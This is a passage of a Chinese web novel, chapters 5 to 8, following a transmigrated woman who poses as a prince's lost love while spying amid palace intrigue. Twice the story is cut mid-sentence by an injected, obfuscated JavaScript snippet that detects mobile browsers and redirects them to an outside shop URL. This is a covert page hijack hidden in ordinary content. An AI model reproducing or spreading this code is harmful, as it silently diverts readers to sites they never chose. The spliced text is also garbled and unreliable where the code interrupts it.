如果枝枝是穿越者,所有疑点似乎都有了合理的答案。 李暄之所以不杀她是因为她说了德语,而且歪打正着撞上枝枝教李暄的暗号,加上枝枝死不见尸,李暄情至深执念难放,阴差阳错之下他暂且相信转世之说。 若他所言句句属实,眼下她便不能轻易离开秦王府,要想办法摸清枝枝的一切。 无论如何,她都要试试寻找回家的办法。 当然,找到之后也不着急回去,自己心脏病发作,爸妈说不定已经把她火化,回去就是死。 她等有朝一日这具身体大限寿数将尽再回去,既能享受新生,灵魂又能回归故土。 这般一来,也算两全其美。 震惊过后,沈翩枝反倒慢慢冷静下来。 李暄将她认作白月光转世,于她而言反倒是件幸事。至少眼下性命无忧,比起卑微替身,以转世故人的身份接近他,更容易套取情报。 等日后寻到归途,再设计一场金蝉脱壳,悄无声息逃离王府,自在逍遥。 枝枝不会水,但她会。 沈翩枝心中拿定主意,往后逐步拉长“枝枝”现身的时间多接触李暄。 李暄问起原因,那就是爱的力量。 不知是不是李暄带来的消息影响了沈翩枝,她今夜的梦格外多,乱七八糟的片段交织在一起,中途醒来好几次,每次回想都忘记梦到什么。 不过她也不在意,翻个身拢好被褥继续睡。 这间寝殿暖意融融,被褥柔软如云,连空气里都萦绕着清雅好闻的香气。 另一边,李暄陡然睁眼,胸膛起伏,呼吸略显粗重。 梦里一声声娇软婉转的“殿下”还残存在耳边,像蛇信子似的丝丝缕缕往耳朵里钻。 李暄蹙眉攥紧拳,重重往衾被上一击,似要将那些旖旎靡靡的幻听尽数砸碎。 他又梦见那个女人,心底暗骂一句不知廉耻。 定然是昨夜她刻意矫揉造作的喘息声声扰了心神,否则自己怎会做这般荒唐绮梦。 枝枝素来天真纯粹,不通男女之事。 她待他亲近温和,却始终守着分寸,从不越半分礼教。 被她拒绝后,李暄小心地回到好弟弟的位置。 但只有他自己知道,心底那些阴暗龌龊的念头像疯长的藤蔓渗入骨髓。 他不敢表露分毫,生怕惹她厌弃。 李暄分不清梦里的女人究竟是灵芝,还是他执念幻化而出的渴求。 他闭上眼,不敢深究。 忽然对灵芝生出一股莫名的恨意。 她顶着与枝枝描述里相似的脸,轻而易举地说出他求而不得的三个字,乱他心神,委实可恶。 更可恨的是,有那么一瞬间,他竟然真的希望她是枝枝。 6.第 6 章 翌日清晨,沈翩枝被软轿抬回小院,小荷见她面色憔悴、眼下青黑,急得眼眶发红,小心翼翼将她扶上床榻。 她睡的床榻不如偏殿里的柔软,硬邦邦的卧着像躺在石头上一样,沈翩枝没忍住痛呼了声。 “没事,就是腰扭了。”她趴在榻沿,有气无力地摆了摆手。 小荷红着眼眶哽咽:“姑娘受苦了,秦王殿下也太不知怜香惜玉……” 沈翩枝的脸腾地一下烧起来,辩解道:“不是你想的那样,是我搬东西时扭到的。” 心里装着事,她天不亮就惊醒了,再也睡不着,索性在偏殿里翻查一通,想找找有没有枝枝留下的痕迹,但一无所获,反倒是腰伤更严重了。 小荷握住沈翩枝的手,给了她一个“我懂”的眼神,压低声音:“府里都传遍了,昨夜正殿叫了五次水。” 沈翩枝顿时哑口无言,李暄太浮夸了。 不过她顺势打听:“昨夜殿下情浓之时唤了一个女人名字,我没听清,你说是不是他那位心上人。” 小荷摇摇头:“奴婢不知。据说那位在宫里就没了。” “你之前说听老人说秦王的心上人喜欢流苏髻,从哪儿打听的?” 小荷歪头想了想:“梅园附近住的都是当年宫里伺候过秦王的老人,秦王出宫建府时向陛下求了恩典,将他们接来荣养。我从前在梅园干活时偶然听他们聊起来的。” 沈翩枝默默记住梅园,“除了流苏髻,你还知道关于她的什么事?” 小荷摇摇头,忽然一顿:“柳公公的干爹房公公是已故太子的贴身太监,后来跟着秦王去了冷宫,他或许知道。” 沈翩枝激动得直起身:“他现在在哪儿?是不是在梅园?” 她要想办法从房公公那打听枝枝的消息,来判断李暄说的到底是不是真的。 若枝枝真是穿越者,不可能没有留下任何痕迹,行为举止,说话习惯,乃至于思想一定会有某些地方异于常人。 小荷泼了一盆冷水:“房公公年纪大想回归故土,秦王一年前送他离京,我也不知道他去了哪儿。” 沈翩枝垂下头,重新趴回床榻。 罢了,先去梅园看看。 “一夜五次水”的传言迅速席卷整个王府,惊动了宫里来的梁尚宫,不多时,她便来到沈翩枝的院里打听。 梁尚宫身着深青色褙子,身姿挺拔、面容端肃。 一进门,屋内气氛便严肃几分。 她直奔主题:“皇后娘娘心系秦王近况,遣我前来问问昨夜的情况。” 沈翩枝恭顺应答:“秦王一切安好。” 梁尚宫随即径直走向榻前,伸手便要掀被验身。 沈翩枝如临大敌,急得额间冒冷汗。一旦欺君之事败露,且不说李暄会不会被牵连,她自己定然死无葬身之地。 情急之下,腰伤被牵扯,疼得当场低呼。 小荷也顾不上对方是宫里来的高阶女官,一把挤开梁尚宫,满脸着急道:“姑娘疼得厉害,奴婢这就去请府医来瞧!” 沈翩枝眼前一亮,顺势叫得更起劲:“疼死我了!小荷,快去请人叫大夫。一个恐怕不够,我除了腰疼,头也晕,嗓子也不舒服。” 来的人越多越好。 她笃定梁尚宫绝不敢当着一众下人强行验身,这般行事,等同当众折损秦王颜面。 她重重咳嗽两声,含羞带怯地瞥了眼梁尚宫,支支吾吾道:“昨夜风大雪寒,我在窗户边站得久了些,许是……许是着凉了。” 梁尚宫在深宫多年,听出沈翩枝的弦外之音,眉头微蹙:“灵芝,你身为侍寝女官,当恪守本分、端正品性,不可任由秦王放纵自身。” 沈翩枝低声认错,偷偷朝小荷使眼色:“快去快回,我这里少不了你。” 小荷拔腿便跑。 梁尚宫伸手再度掀被子。 沈翩枝眼疾手快,一把攥住她的手腕,力道大得出奇。脸上的羞涩尽数褪去,满眼惊惶哀求:“梁尚宫,求您发发慈悲,我…… 我再也不想留在秦王府伺候了。” “秦王殿下……平日那般冷肃的人,动了真章竟不顾奴婢死活。昨夜奴婢在伺候时折了腰,秦王也不肯放过奴婢,反倒把奴婢推到窗边……” 梁尚宫不为所动,面不改色掰开她的手指,语气平稳:“且让老身验过再说。 沈翩枝也不再遮掩,侧过身褪去外衫,露出莹白纤细的后背。 肌肤上赫然遍布着青紫交叠的淤痕,腰窝处几道深紫指印尤为清晰。那是昨夜李暄扶她时无意留下的,方才周旋间她又暗暗狠掐了几把。 灵芝与她一样是易淤青体质,稍一用力便泛红发紫,混着李暄留下的指印,看着触目惊心。 “尚宫请看。”沈翩枝咬着唇强忍呜咽,泪珠氤氲在眼眶里,摇摇欲坠,隐忍的模样比大哭大闹更显楚楚可怜,“要是再来一回,奴婢命都要没了!” 梁尚宫眸色微惊,对素来清冷寡情的秦王会如此亲近灵芝百思不得其解。 她在宫里当差多年,知晓秦王自从那个宫女死后便不近女色,皇后赐下的美人均被他明里暗里拒绝,颇有孤独终老之意,甚至有传言秦王行军时伤了根本,否则陛下也不会急得强行塞人入王府。 但灵芝瑟缩着脖子,一副受尽委屈的模样又叫她半信半疑。 梁尚宫身负皇命,不敢马虎,径直走到角落桃枝盥架前净手,再拾起挂在架上的锦帕一根根擦拭手指,神色冷漠,活像刽子手在行刑前擦拭铡刀。 沈翩枝余光偷偷往外瞥,内心呼唤小荷赶紧回来。 “姑娘!” 沈翩枝长舒一口气,小荷此刻的声音堪比天籁。 梁尚宫立刻关上门,语气不怒自威:“让大夫们在外面先候着。” 沈翩枝的心再度悬起,横竖已经骑虎难下,若真被当众拆穿,她便一口咬死是秦王患有隐疾,故而刻意折腾迁怒,还勒令她不准外泄半句秘事。 料想梁尚宫绝不敢找李暄求证,更不敢将这等隐秘之事泄露半分。 梁尚宫再度缓步逼近,就在这时,屋外忽然传来一道尖细恭敬的嗓音:“梁尚宫安,秦王殿下遣奴才前来,给尚宫送些物件。” 梁尚宫认出是秦王的心腹柳公公,只得暂且作罢,起身开门。 柳公公进来先朝梁尚宫恭声问好,旋即转向沈翩枝,和气道:“灵芝姑娘,小的奉秦王之命,特意来给您送凝元玉露膏。” 这话一出,梁尚宫面露讶异。 柳公公抬手,身后随从又递上一个茄皮紫石榴纹布包。 梁尚宫接过,指尖一捏便知里头是御用白丝帕,她从善如流地收入袖中。 秦王连这般珍稀的药膏都舍得赏,又特地遣心腹来送物示好。她若再执意验身,便是与秦王过不去。有丝帕为证,加上灵芝身上那真切可见的淤伤,已足够回宫复命。 梁尚宫道:“柳公公,老身还有事,便不耽误灵芝上药,先行告辞了。” 柳公公! 原来这个威逼利诱她假扮承宠的太监就是房公公的干儿子,他会不会听房公公说过枝枝的事? 沈翩枝攥住拳,压下心中雀跃。 她做戏做全套,可怜巴巴看着梁尚宫,一副满心央求她带自己离开的殷切模样。 直到深青色背影消失在帘外,她才收回目光,浑身的力气一泄,软塌塌瘫在榻上。 梁尚宫出了沈翩枝的小院,脚步一转走到杜若房里。 小青听闻灵芝接连侍寝两日气得正在蹂躏窗边的腊梅,见到梁尚宫走进来,手忙脚乱地收拾。 “姑姑,你怎么来了。”杜若放下书,起身迎上去。 梁尚宫冷眼扫过一地狼藉,也不落座,板着脸训斥杜若:“宫里教你的规矩你都忘了?若是不愿伺候,我舍了老脸也要央求皇后娘娘召你回宫。” 杜若面色一白,垂首道:“姑姑别气,我错了。” 小青心口一酸,刚要张口,被杜若一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554186|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神按了回去。 梁尚宫无声叹了口气,语气稍缓:“王府不比宫里,秦王性子冷硬寡情,你需谨言慎行,好自为之。” 杜若扯着梁尚宫的袖子撒娇:“姑姑放心,我一定约束自身和下人。” 梁尚宫眼神软了下来,从怀里掏出一沓银票塞进杜若手里才离开。 小青跪在杜若面前,红着眼道:“姑娘,都是我一时冲动,害您被梁尚宫训斥。” 杜若撇她一眼,淡淡说了声起来。 小青愤愤不平,咬牙切齿道:“姑娘您为何不告诉梁尚宫,灵芝姑娘为了争宠,在秦王回府那日给您下药,害您卧病在床无法侍寝。” 杜若面色淡然:“难不成要姑姑为了我得罪秦王。”她捻起几张银票:“找人盯着灵芝和她身边的人,总能揪出她的小辫子。” 隔壁寝卧内,沈翩枝浑身虚软趴在榻上,由小荷替她敷药。 凝元玉露膏触感冰凉温润,揉开之后化作暖意渗入肌理,酸胀紧绷的筋骨渐渐松弛下来。 沈翩枝半阖着眼,浑身慵懒无力,不知不觉便沉沉睡去。 但棉被沉重,她在睡梦中被压得喘不过气,还坠入一场噩梦。 梦里李暄识破她所有谎言,提剑相向斩向她脖颈,然剑锋一转,却是挑落她的腰带,劈裂她的衣裙…… “姑娘,快醒醒。”小荷在耳边轻声叫她。 沈翩枝一个激灵醒来,脸颊飞起两团红晕,强作镇定:“怎么了?到用膳的时辰了?” 小荷表情一言难尽:“秦王殿下又派人来请姑娘了。” 沈翩枝没忍住翻了个白眼,他要不要这么心急,她是个受伤的病人! 不过她要想从李暄那儿弄清楚枝枝在消失前有什么异常,或者得到了什么特殊的东西。 李暄还有点人性,命人用软轿将她抬往寝殿偏殿歇息。 偏殿远比她那处小院雅致暖和,卷草漆木榻上铺着锦缎厚衾,帐内悬着银薰球,沉香、檀香与龙脑麝香淡淡相融,暖意清雅恰到好处。 沈翩枝倚着团花迎枕昏昏沉沉,再睁眼已是月上中天,窗缝间漏入几缕浅浅清辉。 侍女进屋送来膳食,顺带转告,秦王今夜公务冗杂,无暇过来。 沈翩枝心底瞬间乐开了花,面上却刻意蹙起眉头,装出几分失落怅然。 用完膳休息半晌,婢女小心上前搀扶,引她去往殿后的白玉浴池沐浴。 热水漫过单薄的肩颈,暖意顺着白腻的肌理缓缓淌开,沈翩枝整个人陷入温热之中,紧绷的筋骨瞬间松散,呼吸也变得绵软悠长。 她在心里幽幽喟叹道:“太舒服了……” 李暄定然是算准枝枝出现的时间才安排的沐浴,要不是怕露馅,她真想时时假扮白月光住在这里。 侍寝女官在王府地位比肩一等丫环,每日也只能领到一桶热水,仅够简单擦拭,沈翩枝已有十余日未泡过澡。 水汽氤氲,暖意裹身,寒冬里这一池温水,竟让她生出几分难得的安稳惬意。 今日的饮食起居、器物用度无一不精心,看来李暄对她胡说八道的转世之说真信了几分。 沈翩枝心安理得全数受用,有便宜不占白不占,这都是她冒着欺君杀头的风险拼死挣来的。 起身穿衣时,她无意间侧过身,目光一顿,心弦微荡。 肩头后方,隐约有一枚形似燕子的淡红印记。 她抬手抹掉眼睑上的水珠再次确认它的存在。 灵芝不光容貌与她一模一样,连肩头的胎记都分毫不差,难不成她不是魂穿而是身穿。 可转念又觉不对,她有先天性心脏病,灵芝却身子健康,并无旧疾。 沈翩枝暗自思忖,或许穿越的契机便是两个世界的人需得容貌高度相似。 李暄初见她的容貌时神色平淡,证明她和枝枝长得不像。 沈翩枝不由生出几分好奇,让李暄甘愿痴心守候,为她一生不近旁人的枝枝到底长什么样。 7.第 7 章 凝元玉露膏药效极佳,一夜过去沈翩枝腰间只剩些许酸胀,但回到偏院还是被小荷硬按着在榻上静养三日。 今日难得放晴,她倚着支摘窗向外望去,只觉小院逼仄拘束,像被困在笼中一般。 硬板床榻睡得浑身发僵,不由惦念起偏殿里的地龙暖炉、高床软枕,还有惬意的温泉浴池。 果真是由俭入奢易、由奢入俭难。 沈翩枝忽地气不打一处来,先前柳公公许诺的金银赏赐迟迟不见踪影,难不成李暄想白使唤人。 她冒着欺君的风险陪李暄演戏周旋,总得捞些实在好处。 还是他觉得枝枝与他不需分这么清,所以懒得计较这些身外之物。 不成,绝对不成。 她日后还要离开王府,没有银钱傍身如何逍遥快活。 沈翩枝眉头紧皱,得想办法从李暄手中多弄些金银珠宝,当务之急是要他认识到灵芝是灵芝,枝枝是枝枝,不能混为一谈。 听小荷说京郊村落遭大雪损毁,李暄奉诏前去监督救灾,约要四五日光景。 她甚至有点期盼李暄赶紧回来,再去偏殿的白玉池泡个澡。 好几日没洗澡,身上怪难受的,吃饭也不香了。 小荷端着膳食进来,见她凭窗失神、神色恹恹,只当是相思难解。 她心疼姑娘连日茶饭不思,便主动提议出去散心解闷。 “听说梅园的花开得正盛,姑娘可要去瞧瞧。” 沈翩枝没有立刻回答,怕出门又碰上找她干活的同伙。 虽然李暄因为枝枝暂时不杀灵芝,但灵芝的身份依旧危险,可梅园附近住着宫里的旧人。 思来想去,她对枝枝的好奇压过了顾虑,决定速去速回。 就算打听不到消息,也要摸清楚他们住在哪里,日后再找机会探听。 沈翩枝总觉得李暄在相信她是枝枝这件事上过于草率,但穿越之事本就离奇荒诞,李暄凭借特殊暗语来确认她的身份也能说得通。 不过李暄特地询问灵芝和枝枝记忆是否互通,分明是忌惮着“灵芝”这个细作,她也不能光听他的一面之词。 总之,多方求证总没错。 沈翩枝起身梳洗理妆,收拾妥当,便与小荷并肩,沿着迂回抄手游廊缓步漫行。 廊庑曲折蜿蜒,雕梁飞檐覆着一层薄雪,两侧青竹经冬霜浸染,褪去青葱色泽。竹身枯瘦疏朗,枝叶寥落低垂,满目皆是清寒萧索。 沈翩枝一身艳色穿行其间,月白中衣衬得肤若凝脂。 石榴红绫罗褙子裹着猩红绣梅斗篷,灼灼风华如一团烈火,陡然冲破这片灰白死寂,燃亮整片萧瑟冬景。 临近梅园入口,恰好撞见杜若带着婢女小青往外走,小青手中捧着一束折下的寒梅。 杜若一见到沈翩枝,唇角噙着的淡淡笑意瞬时凝住,慢慢坠没。 她身着素白菱纹软缎袄裙,外罩月白暗纹披风,一支简单的白玉簪束起乌发,不施粉黛宛如雪中孤月,清冷绝尘,与沈翩枝的火热对比鲜明。 一红一白相对而行,红的热烈,白的冷艳。 杜若微微仰着头,目视前方,对沈翩枝二人视若不见,擦肩而过刹那,却投来冷冽一眼。 沈翩枝从容回以和善的微笑,但在杜若眼中便是明目张胆的挑衅。 望着妩媚妖娆的脸蛋,杜若淡淡道:“以色事君,色衰爱驰。” 沈翩枝充耳不闻,款步离开。 等人走远了,小荷问那句话是什么意思。 沈翩枝理了理鬓角垂下的发丝,一本正经道:“她夸我长得美。” 小荷不怎么相信:“但她的眼神好像要吃了您。” 沈翩枝耸耸肩,打趣道:“有道是秀色可餐,她兴许是饿了。” 说到吃的,沈翩枝想起这几日无论是送来的吃食还是用具,都比平日好上不少。 她住的小院远离府中灶房,往日小荷提回来的饭食总是温凉半冷,稍迟些吃就跟冰渣似的难以下咽。 但近几日饭菜不仅热乎乎的,连菜品都提了几个档次,昨晚膳食里甚至出现了一道鳜鱼汤。 要知道京城周围都是高山黄土,鱼虾是稀罕物,冬日更是难寻,素来只有京城的权贵主子们才能享用。 小荷喜笑颜开道:“如今府里谁人不知秦王连续三晚召幸您。姑娘的地位早已今非昔比,这些日子好些人上赶着要与我做姐妹。” 沈翩枝眉头微蹙,脸上丝毫不见喜悦。 李暄并非招摇之人,若第一夜传召是为借机探查细作,第二夜是为敷衍宫中梁尚宫,可第三夜他人已离府赈灾,何故还要特意传她入殿? 若是心疼枝枝受苦,便该好好拾掇她住的小破院,或者干脆给她换个舒服的住处,而非这般刻意恩宠弄得人尽皆知,转头又晾她三日不闻不问。 沈翩枝猜不到李暄的目的。 思索间,二人漫步行至府中东南角梅林门口。 抬眸望去,连片红梅灼灼盛放,累累花枝缀着皑皑残雪,日光洒落,鎏金碎影浮动,似笼着一层朦胧轻纱。红、白、金三色错落交织,凑成绚丽景致。 沈翩枝偏爱浓艳色彩,见此美景顿时心生欢喜。 小荷唤来园中扫雪的婢女,命她取来并州剪,打算折几枝红梅回屋插瓶,美曰其名鸿运当头。 沈翩枝腰伤还没好透,便独坐在一旁的六角亭中赏景。 她单手支住下颌,鼻尖萦绕着梅枝清冽暗香,一时悠然自得。 扫雪的婢女悄无声息地走到她身后,冷不丁开口:“灵芝,你为何未按计划给秦王下药?” 沈翩枝背脊微僵,暗自后悔没老实待在屋里,人却没有回头。 她眼眸轻垂,压低嗓子,用只容她们二人听见的声音道:“秦王谨慎多疑,我没找到机会。” 婢女褪去在小荷面前的卑微恭顺,语气凌厉,“你可知为这计划,我们折损了多少暗桩?” 沈翩枝垂首缄默,肩线紧绷。 婢女以为她被吓破了胆,警惕四顾,确认周遭无人留意亭中动静,迅速将一管迷烟悄悄塞到沈翩枝掌心。 “秦王今日回府,太子命令你偷出赈灾账本。”婢女威胁她:“若再耽误太子的大事,你们都性命难保。太子送你进来,也能让你消失。” 沈翩枝接过竹管,顺势拢入宽袖藏好,老实巴交应了一声。 天可怜见的,她压根不知道婢女口中的“你们”是谁。 沈翩枝没有原身的记忆,全靠从小荷口中东拼西凑出灵芝的脾气秉性。 她攥紧袖中的竹管,手心沁出冷汗。 看来太子在秦王府安插了不止一个眼线,不照做,太子必会疑心灭口。 照做,一旦被李暄察觉,她同样难逃一死。 这一幕恰好被折返寻杜若遗失耳珰的小青看了正着。 她慌忙捂住唇,借假山枯树掩住身形,待看清那婢女面容,便悄然抽身离去。 婢女见小荷归来,躬身离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556446|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小荷捧着几枝含苞盛放的红梅走到亭中,欢欢喜喜地递过去:“姑娘瞧瞧怎么样?” 她的笑容憨态可掬,沈翩枝郁闷的心情散了一大半,笑着接过放在胸前,低头轻嗅:“好香。” 小荷只见灵芝姑娘臻首微垂,花瓣上细碎的雪沫若有似无蹭到她的鼻尖,衬得她肌肤赛雪,唇比花艳。 与此同时,李暄的差事告一段落,刚巧回府休整。 他缓步行过青石甬道,途经西侧梅林时,一缕暗香随风漫卷而来,幽幽钻入鼻息。 脚步微顿,驻足在十字海棠窗旁,侧目而视。 满园琼枝错落,雪映花枝,红白交映,一晃神似回到枝枝来冷宫的第一个冬日。 她爬上墙头摘了几枝宫外的红梅,为此还摔了一跤。 李暄阴阳怪气说她没事找事,自讨苦吃。 枝枝没理他,不知从角落寻出一个粗陶罐,仔细洗净,在陋室桌前认真插花。 她一边捣鼓,一边跟李暄说了个故事,昔日有邦国兵败城破,家园尽毁,满目断壁残垣。可但凡有幸存者落脚之处,总会摆上一束鲜花,那是乱世之中,对安稳生计的期许与念想。 李暄彼时满心戾气,不屑地反驳区区几枝残花代表不了任何事,不过是可笑的臆想。 枝枝不与他争辩什么大道理,用剩余的梅花枝编了个花环戴在李暄头上,眉眼弯弯看着他:“你头上开花了。” 李暄永远忘不了那日。 在他灰暗破败、如废墟般的生命里,骤然开出的一抹艳色,那样绚烂,那样夺目。 自那日后,李暄便默默包揽了摘花折枝之事。 冷宫相依七载,陋室之中,日日皆有鲜花相伴,竟不觉得苦。 枝枝采到好看的花总会编两个花环,一个送他,一个自己戴。 自从枝枝离开,李暄的屋里再也没有出现过一朵鲜花。 “姑娘,您的手真巧。” 园内隐约传来的交谈声把李暄从回忆中拉回。 他敛神细听,原来是有人在梅园采花。 李暄不许人往他屋里放花,却没限制其他人装点厢房。 收敛思绪,他抬步徐徐前行。 天空不知不觉飘下零碎雪沫,簌簌落在尚未消融的板瓦墙帽之上,素雪覆檐,更添周遭几分清寂寥落。 梅林入口在东侧,李暄自西侧绕行而来,恰好与正要离去的沈翩枝主仆撞个正着。 她和她的婢女头顶各自环绕一圈梅花,微风拂过花枝,花瓣轻颤摇曳,楚楚生姿。 沈翩枝生得骨相明艳,在红梅白雪映衬下愈发摄人心魂。 李暄视线不受控制地落在她身上,心像被人捏了一下。 沈翩枝心里正在盘算方才摸清的梅园布局,衣袖忽被人扯了下。 在小荷挤眉弄眼的提示下,她看见不远处站着的李暄。 他面无表情盯着她,看上去阴沉吓人。 沈翩枝快速调整表情,积极迈着小碎步上前,故作惊喜道:“殿下,您怎么来啦,难道是特意来寻我的?” 红梅映入眼帘,李暄眸光骤然冷戾。 他抬起左手,猛然摘下沈翩枝鬓间梅花,未置一言拂袖而去,气息隐隐带着愠怒。 沈翩枝捂住被扯疼的头皮,莫名其妙望着李暄愤怒的背影,心头憋着一股闷气。 此时此刻,若非他俩身份和体力悬殊,她真想用手里的东西迷晕他,再拖到角落打一顿。 狠狠打。 8.第 8 章 大雪落了一整夜,至天明渐渐停歇。 推开支摘窗,庭中积雪已积了半尺有余,连通院门的青石板路尽数被白雪掩埋。天地间白茫茫一片,这座小小院落孤悬其间,宛如冰原上一座寂寥孤岛。 沈翩枝倚在窗边静立片刻,轻叹了口气。 这几日不辞辛苦来往梅园,收获却寥寥,宫里的旧人不是耳聋便是口吃,一句全乎话都说不利索。 但提起枝枝,知道的人嘴里不约而同吐出一个“好”字。 白月光不愧是所有人的白月光。 沈翩枝拢了拢身上的细白梅纹氅衣,望着光秃秃的院子,突发奇想拉着小荷去院里堆雪人排解郁闷。 小荷蹲在雪地里给雪人拍实身子,闷声道:“姑娘,秦王回府好几日了,也不见传唤您。” 沈翩枝手里动作没停,只唔了声。 小荷咬了咬唇,迟疑开口:“姑娘……您说,是不是那日咱们擅入梅园折枝,惹殿下动了怒气?都怪我,当初不该提议去梅园闲逛。” 沈翩枝偏头一看,见她小脸皱成一团,眉眼间惶惶不安。 她拍拍手中的雪屑,语气轻快道:“别胡思乱想。秦王生气未必是因为我们,说不准是他公务不顺,心情烦躁正巧被我们遇上。” 嘴上这般安抚小荷,心底却暗自嘀咕。 李暄这几日的确反常,书里两人腻乎得宛如连体婴,按说他若真把自己当作枝枝转世,不该这般不闻不问。 沈翩枝总觉得不踏实,摸不准李暄心里在想什么。 不过,既然从老宫人那打听不到什么有用的消息,眼下除了李暄,只能从房公公的干儿子柳公公入手。 沈翩枝手里的竹竿不紧不慢地勾勒雪人的五官,默默回忆书中关于柳公公的事。 小荷这些日子一直留意沈翩枝,见她吃喝照常,夜里睡得踏实,神色从容,半点看不出受了冷落的委屈模样。 “姑娘,您不着急吗?”小荷没忍住问她。 沈翩枝正在比划手里的两截枯竹竿,闻言抬头,眼底带几分促狭:“着急有什么用?我总不能冲到正殿,把秦王按在榻上问个明白吧?” 小荷脸颊瞬时涨得通红,结结巴巴道:“姑……姑娘,这话哪能乱说。” 院内空寂,两人虽声音不大,却顺着风隐隐飘到屋后太湖石假山上。 李暄刚踏入石亭中,便听闻下方有人说要把他按在床榻上。 他微微皱眉,目光越过木栏扫下去。 沈翩枝身着烟粉色绫罗褙子,立于皑皑白雪之间,眉眼明艳灵动,成了这冰天素色里唯一鲜活的点缀。 他只掠了眼,便面无表情地收回了目光。 这几日他忙于核查赈灾账册,户部与地方呈报的钱粮数目全然对不上,竟凭空差出三成有余。 其中一家名为永泰商行的商号,牵扯的钱粮数额尤为惊人,他数次遣人寻访商行东家问话,皆是无功而返。所幸红豆寻来了商行近半年的往来底账,总算捋出几分端倪。 回想太子连日在朝堂之上百般阻挠他前往京郊赈灾,李暄心底愈发笃定,这永泰商行背后定然与太子牵扯不清。 连日伏案劳形,他本想寻一处清静地散心,不料竟听到这般轻狂露骨的浑话。 假山并不高,石亭之内满目冬日萧瑟,无甚景致可赏。李暄目光流转,目光终莫名其妙落在下方堆雪人的身影上。 沈翩枝微垂着眼,视线在手里两根枯竹之间左右为难,红唇纠结地抿出一道鲜艳的弧度,神情专注。 李暄目光凝在她的侧脸上,不知怎的想起枝枝认真插花的模样,她会将一枝花翻来覆去地修剪,调换位置,定要寻得最合意的姿态才肯作罢。 枝枝说这叫热爱生活,绝不马虎。 一念及此,李暄唇角微扬,笑意未抵达眼底时便被冻住。 不过是相似的面容,竟让他一而再,再而三地在她身上寻找枝枝的影子,任由一张相似皮囊乱了心绪。 李暄当即收敛思绪,移开目光,告诫自己枝枝和灵芝根本不可能是一个人,她们犹如明珠与鱼目,岂能相提并论。 可这念头刚浮上来,他便怔愣了。 他为何总拿她与枝枝相比? 寒风凛冽,凉意顺着脖颈冻住四肢,李暄心口泛起难言的局促不安,连呼吸都沉重几分。 他强压下纷乱心绪,转身下山,脚步尚未挪出石亭之外,却听山下有人问。 “姑娘,您怎么在雪人头顶插了根竹竿呀?” “这个叫天线宝宝。” 李暄骤然一僵,脚步不听使唤地转回去,自欺欺人地背着身不去看她。 沈翩枝指着雪人头上的杆子,笑着胡诌:“这根杆子连通上天,你把心中所求告诉它,它通过天线就能传达给天上的神仙,心愿得偿。” 小荷惊喜道:“真的吗?” “求菩萨是求,求它也是求,”沈翩枝双手合十,故作严肃地念了句“阿弥陀佛”,高深莫测道:“万物有灵,皆能渡众生。” 小荷信以为真,对着雪人虔诚默念。 寒风卷着雪沫吹过,拂在李暄耳畔。 他转过身,半个身子探出六角亭的美人靠,透过房檐缝隙盯着那根竹竿,眸色晦暗不明。 天色渐暗,李暄却浑然不觉,亭栏残雪沾湿玄色袖口,晕开一抹深色。 直到柳公公回禀杜若有要事求见,他才猛然回神。 李暄阖了阖眼,敛去眼底翻涌的复杂心绪,宽大玄色袍袖骤然一挥,利落扫空石栏上积覆的皑皑落雪。 下山的脚步比来时更沉,鞋底碾过阶面冰碴,一路咯吱轻响,声声都似在强行按压他胸口翻涌不止、难以平复的情绪。 午时,小荷拎着食盒进来,脸色不大好看。 她把食盒往桌上重重一搁,怨气十足。 沈翩枝趿拉着鞋走近一看,盒中的两道菜的分量少得可怜,还有一碗飘着油花的汤,汤面已然凝了一层白蒙蒙的油膜,看着难以下咽。 小荷瘪着嘴愤愤道:“姑娘不过几日没被殿下召见,底下这些人就敢这般刻意怠慢。前几日见了我还亲热地姐姐妹妹攀交情,如今我从他们跟前走过,个个都装作视而不见,连眼皮都懒得抬。” 沈翩枝拿起筷子拨开汤面浮油,惊喜道:“你瞧,还有肉咧。咱们之前也是吃的这些,可见他们虽然拜高,但不踩低。人之常情,没必要置气。” “可是……” “小荷。”沈翩枝拉她坐下,“你之前跟我说京郊的灾民连一口热汤都喝不上,咱们已经足够幸运了。” 小荷张了张嘴,没再抱怨,胸口闷气泄了大半。她原就是为灵芝姑娘打抱不平,没想到正主心态平和,愈发敬佩灵芝姑娘。 换做旁人身处这般起落境遇,要么自哀自怨惶惶度日,要么焦躁不安病急乱投医,反观灵芝姑娘不卑不亢,宠辱不惊。 小荷再次笃定跟对了人,定了定心神,鬼鬼祟祟从怀里掏出用油纸包着的酱肘子,递了过去:“这是梅园扫雪的小竹送我的,她认我做干姐姐,以后相互照应。” 巴掌大的酱肘子切得齐齐整整的,皮上泛着一层琥珀色的酱光。 沈翩枝筷子一顿,心中了然,小竹分明是在借猪蹄提醒她该动手了。 她盯着这块肉好一会儿,神情严肃地夹了一小块放进嘴里。 肥而不腻,瘦而不柴,酱汁在舌尖化开,咸味中带着一丝回甘。 沈翩枝眼眸半眯,要是自己一直窝在屋里不行动,岂不是隔三差五就能够吃上一块肘子。 午睡醒来,窗外天光阴沉,乌云压顶,似乎又有一场暴雪。 小荷掀帘进来,满脸兴奋:“姑娘,殿下召您去正殿。” 那劳什子天线宝宝也太灵了,她下午得去多拜拜。 